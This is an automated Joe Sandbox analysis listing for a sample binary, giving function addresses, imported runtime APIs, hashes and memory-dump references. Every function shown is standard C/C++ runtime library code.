Opcode ID: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction ID: 7d940b5b8f0bb24f820c270aa420ba13c20917685b4f639361f17f8e83b3d7b7
Opcode Fuzzy Hash: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction Fuzzy Hash: 22119A31904320AADB20AF74FA5679D72F4EF04B20F604599F09CD72D5CB3C9B808625

Function 00AE0CA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,B0CFECEF,?,?,00000000,00AF1D08,000000FF,?,00AE0C30,00AE0D60,?,00AE0C04,00000000), ref: 00AE0CD5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00AE0CE7
FreeLibrary.KERNEL32(00000000,?,?,00000000,00AF1D08,000000FF,?,00AE0C30,00AE0D60,?,00AE0C04,00000000), ref: 00AE0D09

Strings

mscoree.dll, xrefs: 00AE0CCE
CorExitProcess, xrefs: 00AE0CDF

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8a8f0472cfbc6851672d05487429c5006f4146f4983641688a88fc44f784f20d
Instruction ID: 25f0b27562fcab54033f7b05d65d5a07074718852d0ba0542790feaf8367ed3c
Opcode Fuzzy Hash: 8a8f0472cfbc6851672d05487429c5006f4146f4983641688a88fc44f784f20d
Instruction Fuzzy Hash: FD014F32900659FFDB118BD5DC05FBEBBB9FB04B15F004525F911A2690DFB4A941CB94

Function 00B10BA8 Relevance: 7.8, APIs: 5, Instructions: 297COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B10C2F
_memset.LIBCMT ref: 00B10C40
_memset.LIBCMT ref: 00B10D08
_memset.LIBCMT ref: 00B10D74
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B10E96

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: _memset$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2583058844-0
Opcode ID: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction ID: 2723c2371d5453a328a83bc2c43368f578b2923876321cfeff7fafef4423d040
Opcode Fuzzy Hash: d5154201261d98dd49ec3167d00f3a754cd273ccce8e86cb9f9af44637ef3501
Instruction Fuzzy Hash: E6C117B2D0021AABCF21EB60DC86AEE77BDEF08304F4145E1FA09A2151D7759B858F94

Function 00B20B17 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

__mtterm.LIBCMT ref: 00B20B2B
__init_pointers.LIBCMT ref: 00B20BDD
__calloc_crt.LIBCMT ref: 00B20C4B
__initptd.LIBCMT ref: 00B20C70

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: __calloc_crt__init_pointers__initptd__mtterm
String ID:
API String ID: 3132042578-0
Opcode ID: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction ID: 54eba6f82f30980e5d00fab03408d779557f7f6d78de29ad476139ac2a03a5e5
Opcode Fuzzy Hash: c4b24359c7556117875d4a9d0ed065821010c0f35d81486e563c5d9150432d9a
Instruction Fuzzy Hash: 36313B71D14364AACB23AF79BD48A193BE4EF44722B10067AE418D32B2DBB5D841DF49

Function 00B1BA22 Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 00B1BA6B
DName::operator+.LIBCMT ref: 00B1BA72
DName::DName.LIBCMT ref: 00B1BA94
DName::operator+.LIBCMT ref: 00B1BA9B
DName::operator+.LIBCMT ref: 00B1BAA2

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Name::operator+$NameName::
String ID:
API String ID: 168861036-0
Opcode ID: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction ID: 65f24836cc4ddf8741d73dc39a7c6f588fff985d8ce1bd191f0a8599cba5d61e
Opcode Fuzzy Hash: 3aa0acc439a82f8bd65084423e96e0a9ca118dedd833d16da9c95a53395b9bdd
Instruction Fuzzy Hash: FE019630610209AFCF04EF64D842EFDBBF5EF44704F904099F5019B292DB70EA868784

Function 00AD417D Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AD4189
int.LIBCPMT ref: 00AD419C

Part of subcall function 00AD16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00AD16C5
Part of subcall function 00AD16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00AD16DF

std::_Facet_Register.LIBCPMT ref: 00AD41CF
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD41E5
Concurrency::cancel_current_task.LIBCPMT ref: 00AD41F0

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 15fdc4630939bb577ac2f12208c77df4e973111940be1715e2d13dbd214caa93
Instruction ID: b6a424c24cba3320e24a23a3543c6187add7f23b24f355b82c7cb9d5a59741f6
Opcode Fuzzy Hash: 15fdc4630939bb577ac2f12208c77df4e973111940be1715e2d13dbd214caa93
Instruction Fuzzy Hash: 6E018F7A500114BBCB14EB64E9059AE7B69EF98760F24029AF917A7391EF309E41C790

Function 00AD3AF8 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AD3B04
int.LIBCPMT ref: 00AD3B17

Part of subcall function 00AD16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00AD16C5
Part of subcall function 00AD16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00AD16DF

std::_Facet_Register.LIBCPMT ref: 00AD3B4A
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD3B60
Concurrency::cancel_current_task.LIBCPMT ref: 00AD3B6B

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 9428d86549f4554e03b96232036a6ecfd0ee1d26ac9bd0fefed0306c9e98b1a6
Instruction ID: bf9d86228d416d59405a4937535307757c7effc5b1c3b0c3483b67ec4d5ae105
Opcode Fuzzy Hash: 9428d86549f4554e03b96232036a6ecfd0ee1d26ac9bd0fefed0306c9e98b1a6
Instruction Fuzzy Hash: 0301DF72900118ABCB19EB54EA059AE7768DF84760F10028BF8139B3A1EF30EF01C791

Function 00AD404F Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AD405C
int.LIBCPMT ref: 00AD406F

Part of subcall function 00AD16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00AD16C5
Part of subcall function 00AD16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00AD16DF

std::_Facet_Register.LIBCPMT ref: 00AD40A2
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD40B8
Concurrency::cancel_current_task.LIBCPMT ref: 00AD40C3

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 49e7863f1b53e74d6c3e70af9aea2ec24131ec3f1d33094edef7da00489a72a8
Instruction ID: 5514bc83a852049e9c280985a29a73a0f5e80b1488f66c44da5fcd554c5afeb0
Opcode Fuzzy Hash: 49e7863f1b53e74d6c3e70af9aea2ec24131ec3f1d33094edef7da00489a72a8
Instruction Fuzzy Hash: 4801A236900514ABCB24FB68AA099ED77B8DF98764F140197F913AB395EE34DE01CBD0

Function 00AD4DC1 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AD4DC8
std::_Lockit::_Lockit.LIBCPMT ref: 00AD4DD3
std::locale::_Setgloballocale.LIBCPMT ref: 00AD4DEE
_Yarn.LIBCPMT ref: 00AD4E04
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD4E41

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: 7d73d70a41e3b4baf7f2a03962be4f33a574f28b2a56f7d35f6920da25c54d75
Instruction ID: 771472307c4b664480e5387008cc1e8a253924b78789ae239030366cf67c6bb8
Opcode Fuzzy Hash: 7d73d70a41e3b4baf7f2a03962be4f33a574f28b2a56f7d35f6920da25c54d75
Instruction Fuzzy Hash: A901A275A002209FCB06EF60D94567D7BA1FF8C751F19014AF91257391DF746E42CB85

Function 00B23FB6 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B23FC2

Part of subcall function 00B20954: __getptd_noexit.LIBCMT ref: 00B20957
Part of subcall function 00B20954: __amsg_exit.LIBCMT ref: 00B20964

__calloc_crt.LIBCMT ref: 00B23FCD
__lock.LIBCMT ref: 00B24003
___addlocaleref.LIBCMT ref: 00B2400F
__lock.LIBCMT ref: 00B24023

Part of subcall function 00B1FAF4: __getptd_noexit.LIBCMT ref: 00B1FAF4

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__getptd
String ID:
API String ID: 2820776222-0
Opcode ID: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction ID: 0b7f3cde1cf44f9367314b990468a6edce095de7d8eb715d45c04f21ba65116a
Opcode Fuzzy Hash: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction Fuzzy Hash: E2018431511721EAEB20BFB4F803B5D77E0AF04720F6045D9F56D9B2D2CB7459818B55

Function 00B22719 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00B22725

Part of subcall function 00B20954: __getptd_noexit.LIBCMT ref: 00B20957
Part of subcall function 00B20954: __amsg_exit.LIBCMT ref: 00B20964

__getptd.LIBCMT ref: 00B2273C
__amsg_exit.LIBCMT ref: 00B2274A
__lock.LIBCMT ref: 00B2275A
__updatetlocinfoEx_nolock.LIBCMT ref: 00B2276E

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction ID: f1e6e25dcb7bf868d7598d66683212a501f18a02668716f478132a8e802a0edc
Opcode Fuzzy Hash: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction Fuzzy Hash: C2F0F032918761ABDA21FB68B80779D73E0AF00324F5101D9F469E61E3CB245D81DB5A

Function 00ADB0F2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00ADB0A3,00000000,?,00B5DCE4,?,?,?,00ADB246,00000004,InitializeCriticalSectionEx,00AF3BB8,InitializeCriticalSectionEx), ref: 00ADB0FF
GetLastError.KERNEL32(?,00ADB0A3,00000000,?,00B5DCE4,?,?,?,00ADB246,00000004,InitializeCriticalSectionEx,00AF3BB8,InitializeCriticalSectionEx,00000000,?,00ADAFFD), ref: 00ADB109
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00ADB131

Strings

api-ms-, xrefs: 00ADB116

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 5bd4d5ae7e3b4dd2f0f0a8e16804b644f350924d0963b45f5dc7bd2670213717
Instruction ID: 37fb261faa2f734490908e0d16507d0c991014015133c8f9c80dd28891c1bf51
Opcode Fuzzy Hash: 5bd4d5ae7e3b4dd2f0f0a8e16804b644f350924d0963b45f5dc7bd2670213717
Instruction Fuzzy Hash: F7E04F32280208F7EF101FE1EC1AF393F55AB10B80F144021FA0EE92E1EB61DD21C6A4

Function 00AE7495 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(B0CFECEF,00000000,00000000,00000000), ref: 00AE74F8

Part of subcall function 00AE927A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00AE8D21,?,00000000,-00000008), ref: 00AE9326

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00AE7753
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00AE779B
GetLastError.KERNEL32 ref: 00AE783E

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 736fbed12a484e3030086a07e188f4a6208d32e5dad2d2212c9a1ad886980d44
Instruction ID: fb80b1fef05780ca10e550175da0774bc75ef16f71524a231d4aa62ff935c267
Opcode Fuzzy Hash: 736fbed12a484e3030086a07e188f4a6208d32e5dad2d2212c9a1ad886980d44
Instruction Fuzzy Hash: EAD16B75E042989FCF15CFE9D884AADBBB5FF08304F18456AE855EB351E730A941CB60

Function 00B0A066 Relevance: 6.3, APIs: 4, Instructions: 325COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B0A097
_memset.LIBCMT ref: 00B0A0B7
_memset.LIBCMT ref: 00B0A0C8
_memset.LIBCMT ref: 00B0A0D9

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction ID: 311ce066b27e3cc77a6dc1891f4e9e92b30f03feb86ae28cb889b6bbbc141f0d
Opcode Fuzzy Hash: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction Fuzzy Hash: FAD1D87191012DAADB20EB94DC51BEDBBB8BF04744F1019E7A608B6151DB707F89CFA1

Function 00ADA0C1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00ADA188
___AdjustPointer.LIBCMT ref: 00ADA1AB
___AdjustPointer.LIBCMT ref: 00ADA247

Memory Dump Source

Source File: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 5c4b5232684161268a38316142fa612d09f2c2379df62df722186726ba71379c
Instruction ID: 2c47542fd40c34ec0bd6ff72b88e2f32cea2668bbcc28b1852ea26bb1992705a
Opcode Fuzzy Hash: 5c4b5232684161268a38316142fa612d09f2c2379df62df722186726ba71379c
Instruction Fuzzy Hash: A451EDB6605206AFDB299F54D941BBAB3A4FF24710F14422BF80787391EB31ED81D792

Function 00B14261 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B14286
_memset.LIBCMT ref: 00B14295
_memset.LIBCMT ref: 00B14455
_memset.LIBCMT ref: 00B14467

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad0000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction ID: a36a2ddb3eff98ec3a8ae447bdd8021bba69748bac6b0c9237b52886a8166b26
Opcode Fuzzy Hash: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction Fuzzy Hash: 9651DBB1E4022E9BCB21EF64DD85AEDB7BCAB04704F4105E5A718B3152DB346F868F94

Function 00B1239D Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B123C2
_memset.LIBCMT ref: 00B12436
_memset.LIBCMT ref: 00B124AA
_memset.LIBCMT ref: 00B1251E

Memory Dump Source

Source File: 00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000000.00000002.1738500591.0000000000AD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738587587.0000000000AD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738629903.0000000000AF2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738759574.0000000000B5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738789731.0000000000B5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738808676.0000000000B5F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

